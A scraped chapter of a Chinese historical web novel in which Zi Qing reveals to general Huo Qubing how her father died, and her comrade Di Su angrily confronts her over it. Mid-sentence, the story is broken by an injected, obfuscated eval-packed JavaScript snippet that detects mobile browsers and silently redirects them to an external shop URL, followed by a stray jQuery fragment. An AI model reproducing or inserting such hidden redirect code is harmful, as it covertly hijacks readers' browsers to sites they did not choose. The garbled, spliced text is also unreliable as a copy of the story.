62. 第十八章归程(九)
    后舱马厩内。

    子青把稻草铺了铺,薄毯往身上一裹,蜷起身子,合目休息。耳边听着马儿吃草料的沙沙声,还有外间流水哗哗的声响,竟是无比地令人安心。

    阿曼抱了条薄毯进来,见子青蜷在角落里,小兽一般,遂在她身旁好笑地蹲下来,刚欲与她说话,便听见均匀绵长的呼吸声,她竟然是已倦然睡着。在她身旁坐下来,阿曼伸出手去,轻轻替她掠开几缕发丝,借着风灯昏暗的烛光,静静地望着她。

    “这么大的马粪味,怎么睡人啊!”缔素也抱着薄毯,边进来边不满地抱怨道。

    听见声音,阿曼合上眼睛,佯作睡着。

    缔素一进来便看见他呆在子青旁边,总觉得这个西域人对子青不怀好意,子青毕竟是姑娘家,若是吃了什么暗亏岂不糟糕。他暗自思量着,便用脚顶了顶阿曼的膝盖,朝他道:“喂,你到这边来睡,别挨着她!”

    阿曼懒懒挣开双目,似笑非笑地望了他一眼:“为何?”

    “青儿她睡觉浅,你同她挨这么近,会吵着她的。”

    “那你就莫再说话了。”

    阿曼朝他作了噤声的手势,随即索性躺了下来,薄毯蒙了大半面,丝毫未把缔素放在眼中。

    缔素气恼,却是拿他一点办法也没有,自捡了处地方躺下。

    最后进来的赵破奴,见内中三人皆已睡下,并无不适或抱怨,心下甚为满意,自也捡了处地方,稻草铺得厚厚的,四仰八叉地躺下来。

    夜渐深沉。

    马厩里,赵破奴的呼噜声此起彼伏,时而铿镪顿挫,时而细如哨音,千变万化,令人叹而观之。马儿们甩着尾巴表示着对这个异族的极大不满。

    子青极轻地翻了个身,睡至半夜被吵醒后,再也睡不着,实在不愿干躺着听上整夜这种奇异的呼噜,便悄然起身,裹了毯子想到舱堂坐一会儿。才进舱堂,凉意便从脚底漫上来,因为前后通风,果然是比马厩要冷得多。

    外间的雪不知何时已停了,她缓步踏上甲板,仰头望天,黛蓝苍穹,厚厚的云层散开来,几粒星子显得分外的亮。正自深吸口气,忽得听见另一侧船舷传来熟悉的咳声,她循声望去,在暗沉的夜色中辨出将军的轮廓。

    “子青?”霍去病也已看见了她,哑着嗓子训斥道,“大半夜的不睡觉,跑出来作什么?”

    “……卑职马上回去。”

    子青自是不会说赵破奴呼噜打得多么奇异,朝霍去病施了一礼,转身欲回去。

    霍去病怔了下,唤道:“等等。”

    “嗯?”子青停住脚步,回首。

    “替我去舱房把酒拿过来。”

    闻言,子青立在原地未动弹,迟疑片刻,还是尽职劝道:“将军,饮酒于嗽疾不利,我劝你还是莫喝。”

    霍去病不耐烦道:“快去……这是命令。”

    子青无法,只得听命去霍去病舱房之中拿了酒囊出来递给他。霍去病接过,拧开塞子,先灌了两口下去,才瞥了眼子青道:“你也来一口。”

    “我从不饮酒。”见将军已无事吩咐,她便准备回去,“卑职告退。”

    “等等!”霍去病又叫住她,似乎想不起有何事要吩咐她,思量了半晌才颦起眉道:“有件事我一直想问你……”

    “将军请问。”

    霍去病居然踌躇了下,才问道:“你的功夫都是你爹爹教的?”

    “嗯。”

    “你爹爹的功夫与你相比如何?”

    “胜过数倍。”

    “那……你爹爹是怎么死的?”

    “……”

    子青仿佛被某物狠狠戳中,定在当地,说不出话来。

    微弱的星光下,少年的双目黑白分明,有一种惊人的干净。那瞬间,霍去病看着她的眼睛,只觉得心莫名其妙地一软,禁不住低首又咳了几声。

    “你家既然和李老将军是故交,你爹的死和他家可有关系?”他试探问道,心中想得却是子青若仍不言语,自己便不再逼他就是了。

    子青沉默半晌,在霍去病将要说出“你不愿说也罢了”的时候,她点了点头。

    “真和李家有关!”霍去病回想起子青对李敢的态度,此时方意识到她一直对李敢保持着某种礼节上的生疏。

    “嗯。”

    子青总算出声了。

    “究竟是怎么回事?”他问。

    子青深吸口气,才道:“将军可听说过六年前置水关外,羌人反叛一事?”

    霍去病点头:“我知道,李老将军处置了八百余名已降的羌人,这事做得不太厚道。”

    “我爹爹,便是当年被李广派去招降的人。”她望着黑压压的河水,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300210|152209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    平平道,“他被李广所骗,自觉对不起那八百羌人,自戕身亡。”

    怎么也想不到他爹爹竟是自戕,霍去病一时说不出话来。

    舱堂内却传来响声,子青转头望去,看见有两人正立在舱堂门口,其中一人胸膛起伏不定,双目要喷出火来一般地紧紧盯着她……

    “缔素……”

    “原来你早就知道!早就知道!”缔素一步一字地逼到她面前,怒火中烧的他已完全顾不上理会霍去病,即使他是将军,“你早就知道,是你爹害死了我爹娘!是不是?”

    子青艰难地抿了抿嘴唇:“嗯。”

    “你一直瞒着我,你和你哥还装着与我是好兄弟!你们卑鄙无耻!”缔素想起平日里大家在一块的热乎劲儿,骤然有种被欺骗至深的耻辱感。

    “不是,和我哥没关系,”子青生怕他迁怒易烨,忙解释道,“我是被他们家好心收留的,其实我并不姓易。”

    “那你姓什么?”

    “我姓秦,秦原。”

    “秦原……”缔素缓缓念了一遍,复抬头冷笑道,“原来你连名字都是假的,你究竟还有多少不可告人的事情?”

    因为无言以对,子青深垂着头,背抵在船舷上,一句话都说不出来。阿曼走过来,他并不清楚缔素的身世,也不想知道,他的眼中只看见沉默得让人心疼的子青。

    “哼……都说中原人狡诈,多忘恩负义之辈,我今日才知。”阿曼冷冷地看着缔素。

    缔素愤慨道:“你是说我忘恩负义,你知不知道,她爹爹便是杀我爹娘的仇人?!”

    “我只知道,你爹娘死了,她的爹娘也死了!她不欠你什么!可在大漠里,她为了救你,连自己命都不要!”

    “我不稀罕!”缔素嘶哑着嗓子道,“谁要她假惺惺来救我!我宁可死,也不要她来救!”

    “够了!”

    霍去病此时方出声,低低喝住缔素。

    直觉地感到将军也站在子青一边,缔素冷冷一笑,道:“你们都帮着她,觉得她可怜,以为她是什么老实人,其实你们才是被她骗得最厉害的人!”

    突然知道缔素要说什么,子青猛然抬起头来,定定地望着他。

    “她不可告人的事情还多着呢,你们知不知道,她其实是……”

    缔素恶狠狠地对上子青双目。